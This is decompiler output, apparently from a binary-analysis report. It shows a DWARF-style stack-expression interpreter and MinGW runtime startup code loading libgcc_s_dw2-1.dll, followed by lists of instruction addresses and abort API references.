												L30:
												__edi =  *__edi;
												__esi = __edx;
											} else {
												L29:
												__eflags = __al - 8;
												if(__al != 8) {
													L96:
													abort();
													goto L97;
												} else {
													goto L30;
												}
												while(1) {
													L10:
													__eflags = __ebp - 0x3f;
													if(__ebp > 0x3f) {
														goto L129;
													}
													L11:
													__eax =  &_a1;
													 *(__esp + 0x30 + __ebp * 4) = __edi;
													_a20 =  &_a1;
													while(1) {
														L12:
														__eflags = _a24 - __esi;
														if(_a24 <= __esi) {
															break;
														}
														L7:
														__eax =  *__esi & 0x000000ff;
														__ebx = __esi + 1;
														__ecx = __eax - 3;
														__edx = __eax;
														__eflags = __cl - 0xee;
														if(__cl > 0xee) {
															goto L96;
														} else {
															L8:
															__ecx = __cl & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
																case 0:
																	L9:
																	__ebp = _a20;
																	__edi =  *(__esi + 1);
																	__esi = __esi + 5;
																	__eflags = __esi;
																	goto L10;
																case 1:
																	goto L96;
																case 2:
																	goto L0;
																case 3:
																	L21:
																	__edi =  *(__esi + 1) & 0x000000ff;
																	__ebp = _a20;
																	__esi = __esi + 2;
																	goto L10;
																case 4:
																	L20:
																	__edi =  *(__esi + 1);
																	__ebp = _a20;
																	__esi = __esi + 2;
																	goto L10;
																case 5:
																	L19:
																	__edi =  *(__esi + 1) & 0x0000ffff;
																	__ebp = _a20;
																	__esi = __esi + 3;
																	goto L10;
																case 6:
																	L18:
																	__edi =  *(__esi + 1);
																	__ebp = _a20;
																	__esi = __esi + 3;
																	goto L10;
																case 7:
																	L16:
																	__edi =  *(__esi + 1);
																	__ebp = _a20;
																	__esi = __esi + 9;
																	goto L10;
																case 8:
																	L67:
																	__esi = __ebx;
																	__edi = 0;
																	__ecx = 0;
																	__eflags = 0;
																	do {
																		L68:
																		__esi = __esi + 1;
																		__edx =  *(__esi - 1) & 0x000000ff;
																		 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
																		__eax = ( *(__esi - 1) & 0x7f) << __cl;
																		__ecx = __ecx + 7;
																		__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
																		__eflags = __dl;
																	} while (__dl < 0);
																	__ebp = _a20;
																	goto L10;
																case 9:
																	L62:
																	__edi = 0;
																	__ecx = 0;
																	__eflags = 0;
																	do {
																		L63:
																		__ebx = __ebx + 1;
																		__edx =  *(__ebx - 1) & 0x000000ff;
																		__edx = __edx & 0x0000007f;
																		__eax = (__edx & 0x0000007f) << __cl;
																		__ecx = __ecx + 7;
																		__edi = __edi | (__edx & 0x0000007f) << __cl;
																		__eflags = __dl;
																	} while (__dl < 0);
																	__eflags = __ecx - 0x1f;
																	if(__ecx > 0x1f) {
																		goto L94;
																	} else {
																		L65:
																		__edx = __edx & 0x00000040;
																		__eflags = __edx;
																		if(__edx == 0) {
																			goto L94;
																		} else {
																			L66:
																			__eax = 1;
																			__ebp = _a20;
																			__esi = __ebx;
																			1 << __cl =  ~(1 << __cl);
																			__edi = __edi |  ~(1 << __cl);
																		}
																	}
																	goto L10;
																case 0xa:
																	L60:
																	__ebp = _a20;
																	__eflags = __ebp;
																	if(__ebp == 0) {
																		goto L129;
																	} else {
																		L61:
																		__edi =  *(__esp + 0x2c + __ebp * 4);
																		__esi = __ebx;
																		goto L10;
																	}
																	goto L142;
																case 0xb:
																	L58:
																	__eax = _a20;
																	__eflags = __eax;
																	if(__eax == 0) {
																		goto L129;
																	} else {
																		L59:
																		__eax = __eax - 1;
																		__esi = __ebx;
																		_a20 = __eax;
																		goto L12;
																	}
																	goto L142;
																case 0xc:
																	L56:
																	__ebp = _a20;
																	__eflags = __ebp - 1;
																	if(__ebp <= 1) {
																		goto L129;
																	} else {
																		L57:
																		__edi =  *(__esp + 0x28 + __ebp * 4);
																		__esi = __ebx;
																		goto L10;
																	}
																	goto L142;
																case 0xd:
																	L54:
																	__ebp = _a20;
																	__ecx =  *(__esi + 1) & 0x000000ff;
																	__edx = __esi + 2;
																	__eax =  &_v1;
																	__eflags = __ecx - __eax;
																	if(__ecx >= __eax) {
																		goto L129;
																	} else {
																		L55:
																		__eax = __eax - __ecx;
																		__esi = __edx;
																		__edi =  *(__esp + 0x30 + __eax * 4);
																		goto L10;
																	}
																	goto L142;
																case 0xe:
																	L89:
																	__eax = _a20;
																	__eflags = __eax - 1;
																	if(__eax <= 1) {
																		goto L129;
																	} else {
																		L90:
																		__edx = __eax - 1;
																		__eax = __eax - 2;
																		__esi =  *(__esp + 0x30 + __eax * 4);
																		__ecx =  *(__esp + 0x30 + __edx * 4);
																		 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
																		__esi = __ebx;
																		 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
																		goto L12;
																	}
																	goto L142;
																case 0xf:
																	L87:
																	__eax = _a20;
																	__eflags = __eax - 2;
																	if(__eax <= 2) {
																		goto L129;
																	} else {
																		L88:
																		__ecx = __eax - 1;
																		__edx = __eax - 2;
																		__eax = __eax - 3;
																		__esi =  *(__esp + 0x30 + __ecx * 4);
																		__ebp =  *(__esp + 0x30 + __edx * 4);
																		__edi =  *(__esp + 0x30 + __eax * 4);
																		 *(__esp + 0x30 + __ecx * 4) = __ebp;
																		 *(__esp + 0x30 + __edx * 4) = __edi;
																		 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
																		__esi = __ebx;
																		goto L12;
																	}
																	goto L142;
																case 0x10:
																	L91:
																	__eax = _a20;
																	__eflags = __eax - 1;
																	if(__eax <= 1) {
																		goto L129;
																	} else {
																		L92:
																		__ebp = __eax - 2;
																		__edx = __edx - 0x1a;
																		__ecx =  *(__esp + 0x2c + __eax * 4);
																		__edi =  *(__esp + 0x30 + __ebp * 4);
																		__eflags = __dl - 0x14;
																		if(__dl > 0x14) {
																			goto L96;
																		} else {
																			L93:
																			__edx = __dl & 0x000000ff;
																			switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
																				case 0:
																					goto L111;
																				case 1:
																					goto L112;
																				case 2:
																					goto L113;
																				case 3:
																					goto L114;
																				case 4:
																					goto L115;
																				case 5:
																					goto L96;
																				case 6:
																					goto L116;
																				case 7:
																					goto L117;
																				case 8:
																					goto L118;
																				case 9:
																					goto L119;
																				case 0xa:
																					goto L120;
																				case 0xb:
																					goto L121;
																				case 0xc:
																					goto L122;
																				case 0xd:
																					goto L123;
																				case 0xe:
																					goto L124;
																				case 0xf:
																					goto L125;
																				case 0x10:
																					goto L126;
																				case 0x11:
																					goto L127;
																			}
																		}
																		goto L10;
																	}
																	goto L142;
																case 0x11:
																	L82:
																	__eax = _a20;
																	__eflags = __eax;
																	if(__eax == 0) {
																		goto L129;
																	} else {
																		L83:
																		__eax = __eax - 1;
																		__edi = __eax;
																		_a20 = __eax;
																		__eax = __esi + 3;
																		__edx =  *(__esp + 0x30 + __edi * 4);
																		__eflags =  *(__esp + 0x30 + __edi * 4);
																		if( *(__esp + 0x30 + __edi * 4) == 0) {
																			__esi = __eax;
																		} else {
																			__esi =  *(__esi + 1);
																			__esi = __esi + __eax;
																		}
																		goto L12;
																	}
																	goto L142;
																case 0x12:
																	L86:
																	__eax =  *(__esi + 1);
																	__esi = __esi +  *(__esi + 1) + 3;
																	goto L12;
																case 0x13:
																	L85:
																	__edi = __eax - 0x30;
																	__ebp = _a20;
																	__esi = __ebx;
																	goto L10;
																case 0x14:
																	L49:
																	__eax = __eax - 0x50;
																	__eflags = __eax - 0x11;
																	if(__eax > 0x11) {
																		goto L129;
																	} else {
																		L50:
																		__esi = _a28;
																		__edx =  *(__eax + 0x6073f4) & 0x000000ff;
																		__edi =  *(__esi + __eax * 4);
																		__eflags =  *(__esi + 0x63) & 0x00000040;
																		if(( *(__esi + 0x63) & 0x00000040) == 0) {
																			L52:
																			__eflags = __dl - 4;
																			if(__dl == 4) {
																				goto L38;
																			} else {
																				L53:
																				goto L129;
																			}
																		} else {
																			L51:
																			__eflags =  *((char*)(__esi + __eax + 0x6c));
																			if( *((char*)(__esi + __eax + 0x6c)) != 0) {
																				goto L94;
																			} else {
																				goto L52;
																			}
																		}
																	}
																	goto L142;
																case 0x15:
																	L39:
																	__ebp = 0;
																	__ecx = 0;
																	__eflags = 0;
																	__esi = __eax;
																	do {
																		L40:
																		__ebx = __ebx + 1;
																		__eax =  *(__ebx - 1) & 0x000000ff;
																		__eax = __eax & 0x0000007f;
																		__edx = (__eax & 0x0000007f) << __cl;
																		__ecx = __ecx + 7;
																		__ebp = __ebp | (__eax & 0x0000007f) << __cl;
																		__eflags = __al;
																	} while (__al < 0);
																	__edi = __eax;
																	__eax = __esi;
																	__esi = __edi;
																	__eflags = __ecx - 0x1f;
																	if(__ecx <= 0x1f) {
																		__esi = __esi & 0x00000040;
																		__eflags = __esi;
																		if(__esi != 0) {
																			1 = 1 << __cl;
																			__edx =  ~(1 << __cl);
																			__ebp = __ebp |  ~(1 << __cl);
																		}
																	}
																	__eax = __eax - 0x70;
																	__eflags = __eax - 0x11;
																	if(__eax > 0x11) {
																		goto L129;
																	} else {
																		L44:
																		__esi = _a28;
																		__edx =  *(__eax + 0x6073f4) & 0x000000ff;
																		__edi =  *(__esi + __eax * 4);
																		__eflags =  *(__esi + 0x63) & 0x00000040;
																		if(( *(__esi + 0x63) & 0x00000040) == 0) {
																			L46:
																			__eflags = __dl - 4;
																			if(__dl != 4) {
																				goto L129;
																			} else {
																				L47:
																				__edi =  *__edi;
																				goto L48;
																			}
																		} else {
																			L45:
																			__eflags =  *((char*)(__esi + __eax + 0x6c));
																			if( *((char*)(__esi + __eax + 0x6c)) != 0) {
																				L48:
																				__edi = __edi + __ebp;
																				__esi = __ebx;
																				__ebp = _a20;
																				goto L10;
																			} else {
																				goto L46;
																			}
																		}
																	}
																	goto L142;
																case 0x16:
																	L32:
																	__esi = 0;
																	__ecx = 0;
																	__eflags = 0;
																	do {
																		L33:
																		__ebx = __ebx + 1;
																		__edx =  *(__ebx - 1) & 0x000000ff;
																		 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																		__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																		__ecx = __ecx + 7;
																		__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																		__eflags = __dl;
																	} while (__dl < 0);
																	__eflags = __esi - 0x11;
																	if(__esi > 0x11) {
																		goto L129;
																	} else {
																		L35:
																		__ecx = _a28;
																		__eax =  *(__esi + 0x6073f4) & 0x000000ff;
																		__edi =  *(__ecx + __esi * 4);
																		__eflags =  *(__ecx + 0x63) & 0x00000040;
																		if(( *(__ecx + 0x63) & 0x00000040) == 0) {
																			L37:
																			__eflags = __al - 4;
																			if(__al != 4) {
																				goto L129;
																			} else {
																				L38:
																				__edi =  *__edi;
																				__ebp = _a20;
																				__esi = __ebx;
																				goto L10;
																			}
																		} else {
																			L36:
																			__eflags =  *((char*)(__ecx + __esi + 0x6c));
																			if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
																				L94:
																				__ebp = _a20;
																				__esi = __ebx;
																				goto L10;
																			} else {
																				goto L37;
																			}
																		}
																	}
																	goto L142;
																case 0x17:
																	L70:
																	__esi = 0;
																	__ecx = 0;
																	__eflags = 0;
																	do {
																		L71:
																		__ebx = __ebx + 1;
																		__edx =  *(__ebx - 1) & 0x000000ff;
																		 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																		__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																		__ecx = __ecx + 7;
																		__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																		__eflags = __dl;
																	} while (__dl < 0);
																	__edi = 0;
																	__ecx = 0;
																	__eflags = 0;
																	do {
																		L73:
																		__ebx = __ebx + 1;
																		__eax =  *(__ebx - 1) & 0x000000ff;
																		 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																		__edx = ( *(__ebx - 1) & 0x7f) << __cl;
																		__ecx = __ecx + 7;
																		__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
																		__eflags = __al;
																	} while (__al < 0);
																	__eflags = __ecx - 0x1f;
																	if(__ecx <= 0x1f) {
																		__eflags = __al & 0x00000040;
																		if((__al & 0x00000040) != 0) {
																			1 = 1 << __cl;
																			__eax =  ~(1 << __cl);
																			__edi = __edi |  ~(1 << __cl);
																		}
																	}
																	__eflags = __esi - 0x11;
																	if(__esi > 0x11) {
																		goto L129;
																	} else {
																		L77:
																		__ecx = _a28;
																		__edx =  *(__esi + 0x6073f4) & 0x000000ff;
																		__eax =  *(__ecx + __esi * 4);
																		__eflags =  *(__ecx + 0x63) & 0x00000040;
																		if(( *(__ecx + 0x63) & 0x00000040) == 0) {
																			L79:
																			__eflags = __dl - 4;
																			if(__dl != 4) {
																				goto L129;
																			} else {
																				L80:
																				__eax =  *__eax;
																				goto L81;
																			}
																		} else {
																			L78:
																			__eflags =  *((char*)(__ecx + __esi + 0x6c));
																			if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
																				L81:
																				__edi = __edi + __eax;
																				__ebp = _a20;
																				__esi = __ebx;
																				goto L10;
																			} else {
																				goto L79;
																			}
																		}
																	}
																	goto L142;
																case 0x18:
																	L17:
																	__esi = __ebx;
																	goto L12;
																case 0x19:
																	L31:
																	__ebx =  *(__esi + 1) & 0x000000ff;
																	__edx = _a28;
																	__edi =  &_a44;
																	__eax = __ebx;
																	__eax = L00420C00(__ebx, __ecx, _a28);
																	 *__esp =  &_a44;
																	__ecx = __esi + 2;
																	__edx = __eax;
																	__eax = __ebx;
																	__eax = E00420AC0(__ebx, __esi + 2, __edx);
																	__edi = _a44;
																	__ebp = _a20;
																	__esi = __eax;
																	goto L10;
																case 0x1a:
																	L111:
																	__edi = __edi & __ecx;
																	__esi = __ebx;
																	goto L10;
																case 0x1b:
																	L112:
																	__eax = __edi;
																	__esi = __ebx;
																	asm("cdq");
																	_t169 = __eax % __ecx;
																	__eax = __eax / __ecx;
																	__edx = _t169;
																	__edi = __eax;
																	goto L10;
																case 0x1c:
																	L113:
																	__edi = __edi - __ecx;
																	__esi = __ebx;
																	goto L10;
																case 0x1d:
																	L114:
																	__eax = __edi;
																	__edx = 0;
																	__esi = __ebx;
																	_t173 = __eax % __ecx;
																	__eax = __eax / __ecx;
																	__edx = _t173;
																	__edi = _t173;
																	goto L10;
																case 0x1e:
																	L115:
																	__edi = __edi * __ecx;
																	__esi = __ebx;
																	goto L10;
																case 0x1f:
																	L116:
																	__edi = __edi | __ecx;
																	__esi = __ebx;
																	goto L10;
																case 0x20:
																	L117:
																	__edi = __edi + __ecx;
																	__esi = __ebx;
																	goto L10;
																case 0x21:
																	L118:
																	__edi = __edi << __cl;
																	__esi = __ebx;
																	goto L10;
																case 0x22:
																	L119:
																	__edi = __edi >> __cl;
																	__esi = __ebx;
																	goto L10;
																case 0x23:
																	L120:
																	__edi = __edi >> __cl;
																	__esi = __ebx;
																	goto L10;
																case 0x24:
																	L121:
																	__edi = __edi ^ __ecx;
																	__esi = __ebx;
																	goto L10;
																case 0x25:
																	L122:
																	__eax = 0;
																	__eflags = __edi - __ecx;
																	__esi = __ebx;
																	__eax = 0 | __eflags == 0x00000000;
																	__edi = __eflags == 0;
																	goto L10;
																case 0x26:
																	L123:
																	__eax = 0;
																	__eflags = __edi - __ecx;
																	__esi = __ebx;
																	__eax = 0 | __eflags >= 0x00000000;
																	__edi = __eflags >= 0;
																	goto L10;
																case 0x27:
																	L124:
																	__eax = 0;
																	__eflags = __edi - __ecx;
																	__esi = __ebx;
																	__eax = 0 | __eflags > 0x00000000;
																	__edi = __eflags > 0;
																	goto L10;
																case 0x28:
																	L125:
																	__eax = 0;
																	__eflags = __edi - __ecx;
																	__esi = __ebx;
																	__eax = 0 | __eflags <= 0x00000000;
																	__edi = __eflags <= 0;
																	goto L10;
																case 0x29:
																	L126:
																	__eax = 0;
																	__eflags = __edi - __ecx;
																	__esi = __ebx;
																	__eax = 0 | __eflags < 0x00000000;
																	__edi = __eflags < 0;
																	goto L10;
																case 0x2a:
																	L127:
																	__eax = 0;
																	__eflags = __edi - __ecx;
																	__esi = __ebx;
																	__eax = 0 | __eflags != 0x00000000;
																	__edi = __eflags != 0;
																	goto L10;
															}
														}
														L142:
													}
													L13:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L129;
													} else {
														L14:
														__eax =  *(__esp + 0x2c + __eax * 4);
														__esp = __esp + 0x13c;
														_pop(__ebx);
														_pop(__esi);
														_pop(__edi);
														_pop(__ebp);
														return __eax;
													}
													goto L142;
												}
												break;
											}
										}
									}
								}
							}
						}
					}
					goto L10;
				}
				L129:
				abort();
				L0042F4C0();
				abort();
				abort();
				abort();
				L0042F4C0();
				L0042F4C0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_push(_t202);
				_t209 = _t208 - 0x1c;
				 *_t209 = "libgcc_s_dw2-1.dll";
				_t189 = GetModuleHandleA(_t195);
				_t210 = _t209 - 4;
				if(_t189 == 0) {
					 *0x4b6004 = 0x424590;
					_t203 = E00424340;
				} else {
					_t197 = _t189;
					 *_t210 = "libgcc_s_dw2-1.dll";
					_t192 = LoadLibraryA(??);
					_t212 = _t210 - 4;
					 *0x607df0 = _t192;
					_v40 = "__register_frame_info";
					 *_t212 = _t197;
					_t193 = GetProcAddress(??, ??);
					_t213 = _t212 - 8;
					_t203 = _t193;
					_v40 = "__deregister_frame_info";
					 *_t213 = _t197;
					 *0x4b6004 = GetProcAddress(??, ??);
					_t210 = _t213 - 8;
				}
				if(_t203 != 0) {
					_v40 = 0x60701c;
					 *_t210 = 0x5ca0f8;
					 *_t203();
				}
				 *_t210 = 0x401590;
				return E004014C0();
				goto L142;
			}

0x00421ba0
0x00421ba0
0x00421ba0
0x00421ba0
0x00421ba6
0x00000000
0x00000000
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb0
0x00421fb3
0x00422050
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00421be5
0x00422034
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bef
0x00421bf1
0x00421fb9
0x00421fb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421b20
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00000000
0x00421b29
0x00421b29
0x00421b2c
0x00421b30
0x00421b34
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af0
0x00421af3
0x00421af6
0x00421af9
0x00421afb
0x00421afe
0x00000000
0x00421b04
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421b90
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b3a
0x00421b3e
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x00000000
0x00421b20
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 00421FB9
abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
